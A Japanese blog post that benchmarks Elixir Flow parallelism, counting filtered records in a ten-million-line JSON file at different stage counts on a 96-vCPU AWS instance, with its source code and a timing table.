と，いうわけでやっていきます！！！！


## 動作環境
自分のMacBook Proだとコア数が乏しいのでAWSを利用してみました。

- Amazon Linux AMI 2018.03.0 (HVM), SSD Volume Type
- [m5.24xlarge](https://aws.amazon.com/jp/ec2/instance-types/m5/)
    - vCPU 96コア
    - ECU 345
    - メモリ 384 GiB
- Elixir 1.6.6 (compiled with OTP 21)

EC2インスタンス内のElixir環境の構築はDockerを利用しました。


## ソースコード
```Elixir:lib/basic.ex
defmodule Basic do
  def q2_3(stage) do
    :timer.tc( fn ->
    "data.json"
    |> File.stream!
    |> Flow.from_enumerable(stages: stage)
    |> Flow.map(fn d -> Poison.decode!(d) end)
    |> Flow.filter(fn d -> d["age"] <= 20 end)
    |> Enum.count end)
    |> elem(0)
    |> Kernel./(1000000)
  end
end
```

## 実行結果
各Stage数ごとに10回計測を行いました。
その中で最速のものを載せました。

|Stage数|実行時間(s)
|---|---
|4|7.457921
|8|5.685359
|16|5.59761
|32|5.690283
|64|6.001949
|96|6.141198
|192|6.184196


この環境だと，`Stage数 16`で実行した場合が一番実行時間が短い結果になりました。
今回，平均は載せていないですが平均実行時間も同様の結果となりました。


## 終わりに
今回は，前回までにやった一千万のJSONファイルを利用して，FlowのStage数を増やすとどうなるのかをみていきました。
環境の問題かもしれませんが，並列数を増やせば速くなるという問題でもないようですね。

ローカルだと`37秒`ほどかかっていた処理が5.6秒ほどで終わったので，計測がとても楽でした。。

---

明日は @zacky1972 さんの[「ZEAM開発ログ v.0.3.1 非同期NIF呼出しにより1ms制約をクリアしてGPU駆動のパフォーマンスが改善された件」](https://qiita.com/zacky1972/items/0dd765a0895f19f5848f)です。お楽しみに。